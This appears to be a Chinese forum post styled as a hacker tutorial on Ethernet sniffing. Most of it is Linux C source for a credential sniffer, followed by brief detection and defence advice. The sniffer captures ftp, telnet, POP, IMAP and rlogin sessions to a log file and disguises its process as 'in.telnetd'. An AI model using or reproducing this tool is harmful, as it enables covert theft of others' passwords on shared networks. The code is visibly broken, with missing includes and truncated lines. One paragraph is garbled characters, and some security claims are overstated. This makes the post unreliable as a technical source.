- 论坛徽章:
- 0
|
Sniffer--黑客教程
Sniffer是一种常用的收集有用数据方法,这些数据可以是用户的帐号和密码,可以是一些商用机密数据等等。为了对sniffer的工作原理有一个深入的了解,第二节给出了一个sniffer的源程序,并对它进行讲解。最后的第三节是探测和防范sniffer的介绍。\r\n \r\n第一节 Sniffer简介\r\n\r\n 什么是以太网sniffing? \r\n\r\n 以太网sniffing 是指对以太网设备上传送的数据包进行侦听,发现感兴趣的包。如果发现符合条件的包,就把它存到一个log文件中去。通常设置的这些条件是包含字\"username\"或\"password\"的包。\r\n\r\n 它的目的是将网络层放到promiscuous模式,从而能干些事情。Promiscuous模式是指网络上的所有设备都对总线上传送的数据进行侦听,并不仅仅是它们自己的数据。根据第二章中有关对以太网的工作原理的基本介绍,可以知道:一个设备要向某一目标发送数据时,它是对以太网进行广播的。一个连到以太网总线上的设备在任何时间里都在接受数据。不过只是将属于自己的数据传给该计算机上的应用程序。\r\n\r\n 利用这一点,可以将一台计算机的网络连接设置为接受所有以太网总线上的数据,从而实现sniffer。\r\n\r\n sniffer通常运行在路由器,或有路由器功能的主机上。这样就能对大量的数据进行监控。sniffer属第二层次的攻击。通常是攻击者已经进入了目标系统,然后使用sniffer这种攻击手段,以便得到更多的信息。\r\n\r\n sniffer除了能得到口令或用户名外,还能得到更多的其他信息,比如一个其他重要的信息,在网上传送的金融信息等等。sniffer几乎能得到任何以太网上的传送的数据包。\r\n \r\n 有许多运行与不同平台上的sniffer程序。\r\n\r\n Linux tcpdump \r\n DOS ETHLOAD、The Gobbler、LanPatrol、LanWatch 、Netmon、Netwatch、Netzhack \r\n\r\n 上面的这些程序,可以从互连网上找到。\r\n\r\n 使用sniffer程序或编写一个功能强大的sniffer程序需要一些网络方面的知识。因为如果没有恰当的设置这个程序,根本就不能从大量的数据中找出需要的信息。\r\n\r\n 通常sniffer程序只看一个数据包的前200-300个字节的数据,就能发现想口令和用户名这样的信息。\r\n \r\n第二节 一个sniffer源程序\r\n \r\n 下面是一个Linux以太网sniffer的源程序。可以根据需要加强这个程序。\r\n\r\n\r\nQUOTE:\r\n /* Linux sniffer.c 本程序已经在Red Hat 5.2上调试通过*/\r\n #include \r\n #include \r\n #include \r\n \r\n #include \r\n \r\n #include \r\n #include \r\n #include \r\n #include \r\n #include \r\n \r\n #include \r\n \r\n #include \r\n \r\n #include \r\n #include \r\n #include \r\n #include \r\n \r\n int openintf(char *);\r\n int read_tcp(int);\r\n int filter(void);\r\n int print_header(void);\r\n int print_data(int, char *);\r\n char *hostlookup(unsigned long int);\r\n void clear_victim(void);\r\n void cleanup(int);\r\n \r\n \r\n struct etherpacket\r\n {\r\n struct ethhdr eth;\r\n struct iphdr ip;\r\n struct tcphdr tcp;\r\n char buff[8192];\r\n }ep;\r\n \r\n struct\r\n {\r\n unsigned long saddr;\r\n unsigned long daddr;\r\n unsigned short sport;\r\n unsigned short dport;\r\n int bytes_read;\r\n char active;\r\n time_t start_time;\r\n } victim;\r\n \r\n struct iphdr *ip;\r\n struct tcphdr *tcp;\r\n int s;\r\n FILE *fp;\r\n \r\n #define CAPTLEN 512\r\n #define TIMEOUT 30\r\n #define TCPLOG \"tcp.log\"\r\n \r\n int openintf(char *d) \r\n { \r\n int fd; \r\n struct ifreq ifr; \r\n int s; \r\n fd=socket(AF_INET, SOCK_PACKET, htons(0x800)); \r\n if(fd 1) \r\n { \r\n if(filter()==0) continue; \r\n x=x-54; \r\n if(x protocol != 6) return 0; \r\n if(victim.active != 0) \r\n if(victim.bytes_read > CAPTLEN) \r\n { \r\n fprintf(fp, \"\\n----- [CAPLEN Exceeded]\\n\" \r\n clear_victim(); \r\n return 0; \r\n } \r\n if(victim.active != 0) \r\n if(time(NULL) > (victim.start_time + TIMEOUT)) \r\n { \r\n fprintf(fp, \"\\n----- [Timed Out]\\n\" \r\n clear_victim(); \r\n return 0; \r\n } \r\n if(ntohs(tcp->dest)==21) p=1; /* ftp */ \r\n if(ntohs(tcp->dest)==23) p=1; /* telnet */ \r\n if(ntohs(tcp->dest)==110) p=1; /* pop3 */ \r\n if(ntohs(tcp->dest)==109) p=1; /* pop2 */ \r\n if(ntohs(tcp->dest)==143) p=1; /* imap2 */ \r\n if(ntohs(tcp->dest)==513) p=1; /* rlogin */ \r\n if(ntohs(tcp->dest)==106) p=1; /* poppasswd */ \r\n if(victim.active == 0) \r\n if(p == 1) \r\n if(tcp->syn == 1) \r\n { \r\n victim.saddr=ip->saddr; \r\n victim.daddr=ip->daddr; \r\n victim.active=1; \r\n victim.sport=tcp->source; \r\n victim.dport=tcp->dest; \r\n victim.bytes_read=0; \r\n victim.start_time=time(NULL); \r\n print_header(); \r\n } \r\n if(tcp->dest != victim.dport) return 0; \r\n if(tcp->source != victim.sport) return 0; \r\n if(ip->saddr != victim.saddr) return 0; \r\n if(ip->daddr != victim.daddr) return 0; \r\n if(tcp->rst == 1) \r\n { \r\n victim.active=0; \r\n alarm(0); \r\n fprintf(fp, \"\\n----- [RST]\\n\" \r\n clear_victim(); \r\n return 0; \r\n } \r\n if(tcp->fin == 1) \r\n { \r\n victim.active=0; \r\n alarm(0); \r\n fprintf(fp, \"\\n----- [FIN]\\n\" \r\n clear_victim(); \r\n return 0; \r\n } \r\n return 1; \r\n } \r\n \r\n int print_header(void) \r\n { \r\n fprintf(fp, \"\\n\" \r\n fprintf(fp, \"%s => \", hostlookup(ip->saddr)); \r\n fprintf(fp, \"%s [%d]\\n\", hostlookup(ip->daddr), ntohs(tcp->dest)); \r\n } \r\n \r\n int print_data(int datalen, char *data) \r\n { \r\n int i=0; \r\n int t=0; \r\n \r\n victim.bytes_read=victim.bytes_read+datalen; \r\n for(i=0;i != datalen;i++) \r\n { \r\n if(data[ i ] == 13) { fprintf(fp, \"\\n\" t=0; } \r\n if(isprint(data[ i ])) {fprintf(fp, \"%c\", data[ i ]);t++;} \r\n if(t > 75) {t=0;fprintf(fp, \"\\n\"} \r\n } \r\n } \r\n \r\n main(int argc, char **argv) \r\n { \r\n sprintf(argv[0],\"%s\",\"in.telnetd\" \r\n s=openintf(\"eth0\" \r\n ip=(struct iphdr *)(((unsigned long)&ep.ip)-2); \r\n tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2); \r\n signal(SIGHUP, SIG_IGN); \r\n signal(SIGINT, cleanup); \r\n signal(SIGTERM, cleanup); \r\n signal(SIGKILL, cleanup); \r\n signal(SIGQUIT, cleanup); \r\n if(argc == 2) fp=stdout; \r\n else fp=fopen(TCPLOG, \"at\" \r\n if(fp == NULL) { fprintf(stderr, \"cant open log\\n\");exit(0);} \r\n clear_victim(); \r\n for(;;) \r\n { \r\n read_tcp(s); \r\n if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2); \r\n fflush(fp); \r\n } \r\n } \r\n \r\n char *hostlookup(unsigned long int in) \r\n { \r\n static char blah[1024]; \r\n struct in_addr i; \r\n struct hostent * he; \r\n \r\n i.s_addr=in; \r\n he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET); \r\n if(he == NULL) \r\n strcpy(blah, inet_ntoa(i)); \r\n else \r\n strcpy(blah,he->h_name);\r\n \r\n return blah; \r\n } \r\n \r\n void clear_victim(void) \r\n { \r\n victim.saddr=0; \r\n victim.daddr=0; \r\n victim.sport=0; \r\n victim.dport=0; \r\n victim.active=0; \r\n victim.bytes_read=0; \r\n victim.start_time=0; \r\n } \r\n \r\n void cleanup(int sig) \r\n { \r\n fprintf(fp, \"Exiting...\\n\"); \r\n close(s); \r\n fclose(fp); \r\n exit(0); \r\n }\r\n \r\n 下面对上面的程序作一个介绍。结构etherpacket定义了一个数据包。其中的ethhdr,iphdr,和tcphdr分别是三个结构,用来定义以太网帧,IP数据包头和TCP数据包头的格式。\r\n\r\n 它们在头文件中的定义如下:\r\n\r\n\r\nQUOTE:\r\n struct ethhdr \r\n {\r\n unsigned char h_dest[ETH_ALEN]; /* destination eth addr */\r\n unsigned char h_source[ETH_ALEN]; /* source ether addr */\r\n unsigned short h_proto; /* packet type ID field */\r\n };\r\n \r\n struct iphdr\r\n {\r\n #if __BYTE_ORDER == __LITTLE_ENDIAN\r\n u_int8_t ihl:4;\r\n u_int8_t version:4;\r\n #elif __BYTE_ORDER == __BIG_ENDIAN\r\n u_int8_t version:4;\r\n u_int8_t ihl:4;\r\n #else\r\n #error \"lease fix \"\r\n #endif\r\n u_int8_t tos;\r\n u_int16_t tot_len;\r\n u_int16_t id;\r\n u_int16_t frag_off;\r\n u_int8_t ttl;\r\n u_int8_t protocol;\r\n u_int16_t check;\r\n u_int32_t saddr;\r\n u_int32_t daddr;\r\n /*The options start here. */\r\n };\r\n \r\n struct tcphdr\r\n {\r\n u_int16_t source;\r\n u_int16_t dest;\r\n u_int32_t seq;\r\n u_int32_t ack_seq;\r\n #if __BYTE_ORDER == __LITTLE_ENDIAN\r\n u_int16_t res1:4;\r\n u_int16_t doff:4;\r\n u_int16_t fin:1;\r\n u_int16_t syn:1;\r\n u_int16_t rst:1;\r\n u_int16_t psh:1;\r\n u_int16_t ack:1;\r\n u_int16_t urg:1;\r\n u_int16_t res2:2;\r\n #elif __BYTE_ORDER == __BIG_ENDIAN\r\n u_int16_t doff:4;\r\n u_int16_t res1:4;\r\n u_int16_t res2:2;\r\n u_int16_t urg:1;\r\n u_int16_t ack:1;\r\n u_int16_t psh:1;\r\n u_int16_t rst:1;\r\n u_int16_t syn:1;\r\n u_int16_t fin:1;\r\n #else\r\n #error \"Adjust your defines\"\r\n #endif\r\n u_int16_t window;\r\n u_int16_t check;\r\n u_int16_t urg_ptr;\r\n };\r\n \r\n 上述结构的具体含义可参见《TCP/IP协议简介》一章中的相关内容。接下来,定义了一个结构变量victim。\r\n \r\n 随后,看一下函数int openintf(char *d),它的作用是打开一个网络接口。在main中是将eth0作为参数来调用这个函数。在这个函数中,用到了下面的结构:\r\n\r\n\r\nQUOTE:\r\n struct ifreq\r\n {\r\n #define IFHWADDRLEN 6\r\n #define IFNAMSIZ 16\r\n union\r\n {\r\n char ifrn_name[IFNAMSIZ]; /* Interface name, e.g. \"en0\". */\r\n } ifr_ifrn;\r\n \r\n union\r\n {\r\n struct sockaddr ifru_addr;\r\n struct sockaddr ifru_dstaddr;\r\n struct sockaddr ifru_broadaddr;\r\n struct sockaddr ifru_netmask;\r\n struct sockaddr ifru_hwaddr;\r\n short int ifru_flags;\r\n int ifru_ivalue;\r\n int ifru_mtu;\r\n struct ifmap ifru_map;\r\n char ifru_slave[IFNAMSIZ]; /* Just fits the size */\r\n __caddr_t ifru_data;\r\n } ifr_ifru;\r\n };\r\n \r\n 这个结构叫接口请求结构,用来调用在I/O输入输出时使用。所有的接口I/O输出必须有一个参数,这个参数以ifr_name开头,后面的参数根据使用不同的网络接口而不同。\r\n \r\n 如果你要看看你的计算机有哪些网络接口,使用命令ifconfig即可。一般你会看到两个接口lo0和eth0。在ifreq结构中的各个域的含义与ifconfig的输出是一一对应的。在这里,程序将eth0作为ifr_name来使用的。接着,该函数将这个网络接口设置成promiscuous模式。请记住,sniffer是工作在这种模式下的。\r\n \r\n 再看一下函数read_tcp,它的作用是读取TCP数据包,传给filter处理。Filter函数是对上述读取的数据包进行处理。\r\n \r\n 接下来的程序是将数据输出到文件中去。\r\n \r\n 函数clearup是在程序退出等事件时,在文件中作个记录,并关闭文件。否则,你刚才做的记录都没了。\r\n \r\n第三节 怎样在一个网络上发现一个sniffer\r\n \r\n 简单的一个回答是你发现不了。因为他们根本就没有留下任何痕迹。\r\n \r\n 只有一个办法是看看计算机上当前正在运行的所有程序。但这通常并不可靠,但你可以控制哪个程序可以在你的计算机上运行。\r\n \r\n 在Unix系统下使用下面的命令:\r\n \r\n ps -aux 或: ps -augx\r\n \r\n 这个命令列出当前的所有进程,启动这些进程的用户,它们占用CPU的时间,占用内存的多少等等。\r\n \r\n 在Windows系统下,按下Ctrl+Alt+Del,看一下任务列表。不过,编程技巧高的Sniffer即使正在运行,也不会出现在这里的。\r\n \r\n 另一个方法就是在系统中搜索,查找可怀疑的文件。但可能入侵者用的是他们自己写的程序,所以都给发现sniffer造成相当的困难。\r\n \r\n 还有许多工具,能用来看看你的系统会不会在promiscuous模式。从而发现是否有一个sniffer正在运行。\r\n \r\n怎样防止被sniffer\r\n \r\n 要防止sniffer并不困难,有许多可以选用的方法。但关键是都要有开销。所以问题在于你是否舍得开销。 \r\n \r\n 你最关心的可能是传输一些比较敏感的数据,如用户ID或口令等等。有些数据是没有经过处理的,一旦被sniffer,就能获得这些信息。解决这些问题的办法是加密。\r\n \r\n加密\r\n \r\n 我们介绍以下SSH,它又叫Secure Shell。SSH是一个在应用程序中提供安全通信的协议。它是建立在客户机/服务器模型上的。SSH服务器的分配的端口是22。连接是通过使用一种来自RSA的算法建立的。在授权完成后,接下来的通信数据是用IDEA技术来加密的。这通常是较强的 ,适合与任何非秘密和非经典的通讯。\r\n \r\n SSH后来发展成为F-SSH,提供了高层次的,军方级别的对通信过程的加密。它为通过TCP/IP网络通信提供了通用的最强的加密。\r\n \r\n 如果某个站点使用F-SSH,用户名和口令成为不是很重要的一点。目前,还没有人突破过这种加密方法。即使是sniffer,收集到的信息将不再有价值。当然最关键的是怎样使用它。\r\n \r\n SSH和F-SSH都有商业或自由软件版本存在。NT are available. \r\n \r\n还有其他的方法吗?\r\n \r\n 另一个比较容易接受的是使用安全拓扑结构。这听上去很简单,但实现是很花钱的。\r\n \r\n 玩过一种智力游戏吗,它通常有一系列数字组成。游戏的目的是要安排好数字,用最少的步骤,把它们按递减顺序排好。当处理网络拓扑时,就和玩这个游戏一样。\r\n \r\n 下面是一些规则:\r\n \r\n 一个网络段必须有足够的理由才苄湃瘟硪煌?缍巍M?缍斡Ω每悸悄愕氖?葜?涞男湃喂叵瞪侠瓷杓疲??皇怯布?枰??\r\n \r\n 这就建立了,让我们来看看。第一点:一个网络段是仅由能互相信任的计算机组成的。通常它们在同一个房间里,或在同一个办公室里。比如你的财务信息,应该固定在建筑的一部分。\r\n \r\n 注意每台机器是通过硬连接线接到Hub的。Hub再接到交换机上。由于网络分段了,数据包只能在这个网段上别sniffer。其余的网段将不可能被sniffer。\r\n \r\n 所有的问题都归结到信任上面。计算机为了和其他计算机进行通信,它就必须信任那台计算机。作为系统管理员,你的工作是决定一个方法,使得计算机之间的信任关系很小。这样,就建立了一种框架,你告诉你什么时候放置了一个sniffer,它放在那里了,是谁放的等等。\r\n \r\n 如果你的局域网要和INTERNET相连,仅仅使用防火墙是不够的。入侵者已经能从一个防火墙后面扫描,并探测正在运行的服务。你要关心的是一旦入侵者进入系统,他能得到些什么。你必须考虑一条这样的路径,即信任关系有多长。举个例子,假设你的WEB服务器对某一计算机A是信任的。那么有多少计算机是A信任的呢。又有多少计算机是受这些计算机信任的呢?用一句话,就是确定最小信任关系的那台计算机。在信任关系中,这台计算机之前的任何一台计算机都可能对你的计算机进行攻击,并成功。你的任务就是保证一旦出现的sniffer,它只对最小范围有效。 \r\n \r\n Sniffer往往是攻击者在侵入系统后使用的,用来收集有用的信息。因此,防止系统被突破是关键。系统安全管理员要定期的对所管理的网络进行安全测试,防止安全隐患。同时要控制拥有相当权限的用户的数量。请记住,许多攻击往往来自网络内部。 |
|